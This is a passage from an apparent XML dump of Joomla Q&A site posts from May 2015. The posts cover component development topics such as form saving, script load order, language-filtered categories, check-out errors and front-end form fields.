null);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2297" LastEditorUserId="2297" LastEditDate="2015-05-08T14:47:37.663" LastActivityDate="2015-05-08T14:51:12.173" Title="MVC component JForm data array to string conversion before save()" Tags="|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9851" PostTypeId="2" ParentId="955" CreationDate="2015-05-08T14:38:02.103" Score="3" Body="&lt;p&gt;Lodder's answer is great, but it might be better if you compare ids and not usernames, since the latter can change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if( $user-&amp;gt;id == 32 ) // Saibbyweb's&#xA;{&#xA;     // code for Saibbyweb&#xA;}&#xA;elseif( $user-&amp;gt;id == 15 ) // Lodder's id&#xA;{&#xA;    // code for Lodder&#xA;}&#xA;else &#xA;{&#xA;    // else just some standard stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-05-08T14:38:02.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9852" PostTypeId="2" ParentId="9850" CreationDate="2015-05-08T14:51:12.173" Score="3" Body="&lt;p&gt;In MVC the controller is responsible for getting the data from the request and passing it into the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment you are manipulating data from the request in your overwritten save method and then you call the parent save method (which will get fresh request data again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better place for your modification would be the &lt;strong&gt;model&lt;/strong&gt;. There is also a save method (which gets automatically called by the controller, so you can delete your save method from &lt;em&gt;your&lt;/em&gt; controller).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your model class you can put this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data)&#xA;{&#xA;    if (is_array($data['instructors']))&#xA;    {&#xA;        $data['instructors'] = implode(',', $data['instructors']);&#xA;    }&#xA;&#xA;    return parent::save($data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If your data comes from a multiple select field, you might want to transform the string back to an array when you edit an item. The best place for this is the loadFormData() method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function loadFormData()&#xA;{&#xA;    // Check the session for previously entered form data.&#xA;    $data = JFactory::getApplication()-&amp;gt;getUserState('com_example.edit.item.data', array());&#xA;&#xA;    if (empty($data))&#xA;    {&#xA;        $data = $this-&amp;gt;getItem();&#xA;        $data-&amp;gt;instructors = explode(',', $data-&amp;gt;instructors);&#xA;    }&#xA;&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2015-05-08T14:51:12.173" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9853" PostTypeId="2" ParentId="9849" CreationDate="2015-05-08T18:31:26.437" Score="1" Body="&lt;p&gt;The group refers to a named fieldset element inside a form definition.  Find the field you are trying to edit into the form definition and get the name of its parent fieldset element and use that for the group.&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-05-08T18:31:26.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9854" PostTypeId="2" ParentId="9845" CreationDate="2015-05-08T18:39:28.983" Score="0" Body="&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To expand on a good point by Lodder, this is not an ideal solution if the Bootstrap library is not already being used in other facets of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this easily using built on bootstrap library.  First, at top of PHP file load the library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then turn your HTML like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;    &amp;lt;div class=&quot;pull-left&quot;&amp;gt;&#xA;        Content&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;pull-right&quot;&amp;gt;&#xA;         Content&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How this helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2015-05-09T00:54:16.213" LastActivityDate="2015-05-09T00:54:16.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9855" PostTypeId="2" ParentId="9845" CreationDate="2015-05-08T19:20:44.840" Score="0" Body="&lt;p&gt;If you want to place two modules side by side within a single module position, you could try the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Publish each of the two modules to custom positions (e.g. &quot;myLeftModule&quot; and &quot;myRightModule&quot;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following CSS to your site to allow for a two-column layout (there are many ways to achieve this, this is just an example) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#wrap {&#xA;   width:100%;&#xA;   margin:0 auto;&#xA;}&#xA;#left_col {&#xA;    float:left;&#xA;   width:50%;&#xA;}&#xA;#right_col {&#xA;   float:right;&#xA;   width:50%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new Custom HTML module, and add the following code to create a two column layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;left_col&quot;&amp;gt;&#xA;        {loadposition myLeftModule}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;right_col&quot;&amp;gt;&#xA;        {loadposition myRightModule}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{loadposition ...}&lt;/code&gt; tag will load your modules from the given positions, and they should align nicely side by side.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Before saving your module, remember to activate &quot;Prepare content&quot; in your Custom HTML module in order allow the &lt;code&gt;{loadposition}&lt;/code&gt; tag to work:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/c62E8.jpg&quot; alt=&quot;Joomla module Prepare content&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-08T19:20:44.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9856" PostTypeId="1" AcceptedAnswerId="9857" CreationDate="2015-05-09T00:46:53.680" Score="0" ViewCount="588" Body="&lt;p&gt;When I update my custom developed component it throws the below error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning&#xA;JInstaller: :Install: File already exists /path/controller.php&#xA;Component Update: Failed to copy site files.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Initially I thought it was because of file permission issue but it doesn't look like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While debugging the core code I found the problem happens in copyFiles method under /libraries/cms/installer/installer.php where the overwrite flag is set to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? In my XML I have method='update' only.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-05-09T04:50:28.717" Title="Custom component update failed saying Failed to copy site files" Tags="|installation|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9857" PostTypeId="2" ParentId="9856" CreationDate="2015-05-09T04:50:28.717" Score="0" Body="&lt;p&gt;In your installer xml file, you should use method=&quot;upgrade&quot;, not update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension method=&quot;upgrade&quot; type=&quot;package&quot; version=&quot;3.0&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-09T04:50:28.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9858" PostTypeId="2" ParentId="7648" CreationDate="2015-05-09T04:57:44.280" Score="1" Body="&lt;p&gt;Based on @FFrewin answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can in fact re-order the scripts how they load, however with a little code hack. An example is shown below for loading MooTools before jQuery. Same method can be applied to any script here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add another if block with the script which is loading before jQuery. You can find the script name from page view source, disable jQuery Easy first and see the actual url. You can add this code just before the head is echoed in your template index.php file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /************* JQUERY HACKS **********************/&#xA;            $document = JFactory::getDocument();&#xA;    $headData = $document-&amp;gt;getHeadData();&#xA;    $scripts = $headData['scripts'];&#xA;    $scripts2 = array();&#xA;&#xA;    if(isset($scripts['/media/system/js/mootools-core.js']))&#xA;    {&#xA;        $scripts2['/media/system/js/mootools-core.js'] = $scripts['/media/system/js/mootools-core.js'];&#xA;        unset($scripts['/media/system/js/mootools-core.js']);&#xA;    }&#xA;&#xA;    if(isset($scripts['/media/jui/js/jquery.min.js']))&#xA;    {&#xA;        $scripts2['/media/jui/js/jquery.min.js'] = $scripts['/media/jui/js/jquery.min.js'];&#xA;        unset($scripts['/media/jui/js/jquery.min.js']);&#xA;    }&#xA;&#xA;    if(isset($scripts['/media/jui/js/jquery-noconflict.js']))&#xA;    {&#xA;        $scripts2['/media/jui/js/jquery-noconflict.js'] = $scripts['/media/jui/js/jquery-noconflict.js'];&#xA;        unset($scripts['/media/jui/js/jquery-noconflict.js']);&#xA;    }&#xA;&#xA;    if(isset($scripts['/media/jui/js/jquery-migrate.min.js']))&#xA;    {&#xA;        $scripts2['/media/jui/js/jquery-migrate.min.js'] = $scripts['/media/jui/js/jquery-migrate.min.js'];&#xA;        unset($scripts['/media/jui/js/jquery-migrate.min.js']);&#xA;    }&#xA;&#xA;    $scripts = array_merge($scripts2, $scripts);&#xA;    $headData['scripts'] = $scripts;&#xA;    $document-&amp;gt;setHeadData($headData);&#xA;    /************ JQUERY HACKS ***********************/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-09T04:57:44.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9859" PostTypeId="1" AcceptedAnswerId="9910" CreationDate="2015-05-09T06:19:56.650" Score="1" ViewCount="742" Body="&lt;p&gt;I have a specific requirement of showing categories of selected menu language only. So in my component, I have the field declared as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;catid&quot; type=&quot;categoryedit&quot; label=&quot;JCATEGORY&quot; description=&quot;JFIELD_CATEGORY_DESC&quot; class=&quot;inputbox input-block-level&quot; required=&quot;true&quot;&amp;gt;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in my Model, I am setting the field attribute dynamically based on the menu language.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getForm ($data = array(), $loadData = true)&#xA;{&#xA;  ....&#xA;  $language = JFactory::getLanguage()-&amp;gt;getTag();&#xA;  $form-&amp;gt;setFieldAttribute('catid', 'language', $language);&#xA;  ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works perfectly fine. However the only problem is it shows only the list which are meant for the selected language only, for example en-GB will show only list of values which are assigned to the language en-GB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display all the field values which are assigned to the selected language as well as &quot;All&quot; (or &quot;*&quot;, i.e. no language selected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot set two values to the same field attribute, setting it two time overwrite fist.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('catid', 'language', '*');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work at all&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$form-&amp;gt;setFieldAttribute('catid', 'language', $language.', *');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone has any idea how can I do this?&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-12T19:32:32.470" Title="Filter form field values by language" Tags="|joomla-3.x|jform|language|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9861" PostTypeId="1" AcceptedAnswerId="9869" CreationDate="2015-05-09T14:33:49.820" Score="-1" ViewCount="183" Body="&lt;p&gt;I would like to find component/module/plugin (does not matter) for showing comments in sidebar. For example - Phoca guestbook component + phoca guestbook latest entries module component is good solution for me, but phoca guestbook latest entries module not free. I would like to find free solution. The main goal - make conversation with users in sidebar, for fast consulting (like FAQ for users). Last comments or somethik like that would be nice too.&#xA;sorry for english&lt;/p&gt;&#xA;" OwnerUserId="5217" LastActivityDate="2015-05-10T09:03:28.480" Title="joomla sidebar comments module/plugin/component" Tags="|joomla-2.5|module|plugin|" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-11T05:11:33.003" ContentLicense="CC BY-SA 3.0" />
  <row Id="9862" PostTypeId="1" CreationDate="2015-05-09T17:53:28.947" Score="-1" ViewCount="117" Body="&lt;p&gt;I am using the Uber template from Joomlart. This template is a dynamic one, and upon resizing the window certain elements disappear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would not like for this to happen in certain cases. It seems to depend on what the css class is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent elements from disappearing using this template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried looking around some of the php/less files but have been unsuccessful. I just don't know what file to look in to prevent this sort of behavior. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="4046" LastEditorUserId="3650" LastEditDate="2016-03-08T00:53:24.517" LastActivityDate="2016-03-08T00:53:24.517" Title="Question about Joomlart uber theme and dynamic content" Tags="|templates|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9864" PostTypeId="1" CreationDate="2015-05-09T22:50:22.420" Score="1" ViewCount="267" Body="&lt;p&gt;I've written a bunch of custom components and only one of them has the following problem. When I click on an individual row in the component's admin list to edit it, I get the infamous:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Error Check-out failed with the following error:&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, sure, we've all had this error in Joomla, however, there's usually more information with it, such as, I don't know, AN ERROR??? I've turned up the error level to the max, searched the PHP logs, set the Debug System on and still there's nothing to be found. It's worth noting that the &quot;error&quot; doesn't really stop me from accomplishing the edit, except for the fact that when I click Save &amp;amp; Close the data is saved though the page flow doesn't return to the admin list. I have to click the Cancel/Close button to go back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created this and other working components using Component Creator I override none of the table methods and only the save method in the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth noting is that I did a Global Check-In as well as scoured the database for any related checked out values and found none. I &#xA;think the &quot;Check-out&quot; is a red herring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to debug this issue further are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Table class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; defined('_JEXEC') or die;&#xA; /**  * clubofficer Table class  */ &#xA;&#xA;class Curling_org_dataTableclubofficer extends JTable {&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param JDatabase A database connector object&#xA;     */&#xA;    public function __construct(&amp;amp;$db) {&#xA;       parent::__construct('#__curling_club_officers', 'id', $db);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards, Rob&lt;/p&gt;&#xA;" OwnerUserId="5219" LastEditorUserId="1520" LastEditDate="2015-05-12T04:24:11.037" LastActivityDate="2015-11-08T06:55:27.030" Title="Joomla 3.x &quot;Error Check-out failed with the following error&quot; - with no more information" Tags="|joomla-3.x|component|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9865" PostTypeId="2" ParentId="9864" CreationDate="2015-05-10T03:56:53.277" Score="1" Body="&lt;p&gt;This error will be shown when you try to edit a row and left it without check in. Check in your main controller (i.e. ComponentNameController class in your controller.php), the code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($vName == 'form' &amp;amp;&amp;amp; !$layout &amp;amp;&amp;amp; ! $this-&amp;gt;checkEditId('com_componentname.edit.itemname', $id))&#xA;{&#xA;    // Somehow the person just went to the form - we don't allow that.&#xA;    throw new Exception(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id), 403);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to add check in button in your list to quickly check in such rows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($item-&amp;gt;checked_out) : ?&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('jgrid.checkedout', $i, $item-&amp;gt;editor, $item-&amp;gt;checked_out_time, 'itemname.', $canCheckin); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally, the following are the requirements for you to properly use Joomla form functionality.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to have two columns in your database table - &quot;checked_out&quot;, &quot;checked_out_time&quot;&lt;/li&gt;&#xA;&lt;li&gt;Override JControllerForm in your sub controller (for form page).&lt;/li&gt;&#xA;&lt;li&gt;You can override allowEdit of JControllerForm to restrict user from check out the row if you need to check some permissions etc.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally use &lt;strong&gt;yourcontroller.save&lt;/strong&gt; (&quot;task&quot; parameter of your form action or a hidden field) method to properly check in the row. If you use &lt;strong&gt;yourcontroller.apply&lt;/strong&gt; method, it will keep the row checked out until you save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&quot;button&quot; onclick=&quot;Joomla.submitbutton('controllername.save')&quot;&amp;gt;Save&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in your admin form view, add the toolbar button to save&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::save('controllername.save');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;Here are some possible cases for this error to occur:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unable to load row into your jtable class (check if JTable class defined properly for your item) &lt;/li&gt;&#xA;&lt;li&gt;You are trying to check out a row which another user already checked out (this may not be the case as you said all your table rows has checked_out value as 0)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So I believe the issue is with your table class.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-11T02:28:29.547" LastActivityDate="2015-05-11T02:28:29.547" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9866" PostTypeId="1" CreationDate="2015-05-10T04:06:30.480" Score="0" ViewCount="130" Body="&lt;p&gt;Suppose I am operating share trading business and have thousands of clients. Is there any extension that helps me take care of accounting needs as well in addition to functions of customer relationshop managemnet (CRM) like name of clients, address, phone no etc.&lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-05-10T07:53:33.667" Title="Account Management extension for Joomla" Tags="|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9867" PostTypeId="1" CreationDate="2015-05-10T07:45:04.113" Score="0" ViewCount="239" Body="&lt;p&gt;Please have a look on &lt;a href=&quot;https://developers.facebook.com/tools/debug/og/object/?q=http%3A%2F%2Fwww.livemedia24.com%2Fvideos%2F7808-this-boy-got-talent&quot; rel=&quot;nofollow&quot;&gt;Facebook Debug result&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know why it is not fetching correct image, whenever i share url on facebook it give me three choice of image instead of real image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I googled alot even search Joomla forum but did not find any solution. Can someone please help? I am using Joomla 3.4 along with RsSocial Module. Gzip is disable in Global Configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was working fine since few months and suddenly this happened, even I have not changed any settings or scripts. I also tested few social modules but still same issue. OG tags are properly mention as you can see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see there is wrong image, for temporary I always hit Fetch new information four times to fetch right image. &lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="1863" LastEditDate="2015-05-10T08:39:46.993" LastActivityDate="2015-05-10T08:39:46.993" Title="Is something wrong with Joomla with Facebook?" Tags="|joomla-3.4|facebook|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9868" PostTypeId="2" ParentId="9866" CreationDate="2015-05-10T07:53:33.667" Score="1" Body="&lt;p&gt;Hope this can help &lt;a href=&quot;http://www.joomlabookkeeping.com/&quot; rel=&quot;nofollow&quot;&gt;Joomla Book Keeping&lt;/a&gt;. You can Google Php based open source scripts which you can implement and integrate into Joomla &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2015-05-10T07:53:33.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9869" PostTypeId="2" ParentId="9861" CreationDate="2015-05-10T08:01:45.507" Score="1" Body="&lt;p&gt;If you want instant questions and answers, then it's better to use a chat module just as &lt;strong&gt;Nagarjun&lt;/strong&gt; mentioned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to show only the latest articles in a spesific category, then you will need an article slider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find free versions of Joomla modules, componenets and plug-ins in &lt;a href=&quot;http://extensions.joomla.org&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;extensions.joomla.org&lt;/strong&gt;&lt;/a&gt; web site. Just write &quot;&lt;strong&gt;chat&lt;/strong&gt;&quot; or &quot;&lt;strong&gt;article slider&lt;/strong&gt;&quot; in the search bar and be sure to check &quot;&lt;strong&gt;Free&lt;/strong&gt;&quot; in the releated field. It will list all free versions of modules, components and plug-ins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oguz&lt;/p&gt;&#xA;" OwnerUserId="5220" LastEditorUserId="126" LastEditDate="2015-05-10T09:03:28.480" LastActivityDate="2015-05-10T09:03:28.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9871" PostTypeId="2" ParentId="9097" CreationDate="2015-05-10T16:43:51.663" Score="0" Body="&lt;p&gt;A hard refresh solved the problem for me.  i clicked the shift button + Refresh icon on my browser. i then clicked on the buttons and alas they now work&lt;/p&gt;&#xA;" OwnerUserId="5221" LastActivityDate="2015-05-10T16:43:51.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9872" PostTypeId="1" AcceptedAnswerId="9886" CreationDate="2015-05-10T20:04:40.493" Score="9" ViewCount="2466" Body="&lt;p&gt;We are implementing the core search tools in our custom component list view.  When I click the search tools it shows the below form which is perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JvPRN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the drop down and select a particular status Ex.'Trashed' the page gets submitted and the form loaded with only the trashed records which is also perfect.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the page load completed the search tools is not showing the filters by default.  The user again need to click on search tools button to open the filters to reset the selected status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the search tools to show the filters by default?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-12-02T14:27:57.413" Title="Search tools is not open by default" Tags="|joomla-3.4|view|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9873" PostTypeId="1" CreationDate="2015-05-10T21:39:19.143" Score="7" ViewCount="1413" Body="&lt;p&gt;I tried using the showon form field attribute in a front-end form with no working results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not even the example given here is working: &lt;a href=&quot;https://docs.joomla.org/Form_field#Showon&quot;&gt;https://docs.joomla.org/Form_field#Showon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything missing, do I have to include a certain script manually when I wanna use it in the front-end? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using joomla 3.4.1, front end is a T3 template, in case that matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas or solutions ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;The form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&quot;main&quot;&amp;gt;  &#xA;        &amp;lt;field name=&quot;foo&quot; type=&quot;list&quot;  &amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;bar&quot; type=&quot;text&quot; showon=&quot;foo:1&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;foo2&quot; type=&quot;text&quot;  /&amp;gt;&#xA;&#xA;        &amp;lt;field name=&quot;bar2&quot; type=&quot;text&quot; showon=&quot;foo2:1&quot; /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;  &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die('Restricted access');&#xA;JHtml::_('behavior.tooltip');&#xA;JHtml::_('behavior.formvalidation');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;...&amp;gt;&quot;&#xA;      method=&quot;post&quot; &#xA;    onsubmit=&quot;return false;&quot; &#xA;    name=&quot;adminForm&quot; id=&quot;adminForm&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;form-horizontal adminform&quot;&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;&quot;&amp;gt;&#xA;            &amp;lt;legend&amp;gt;&amp;lt;?php echo 'test'; ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset() as $field): ?&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;input; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:Found a solution in joomla core files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the template code above is updated from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getFieldset() as $field): ?&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $field-&amp;gt;label; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo 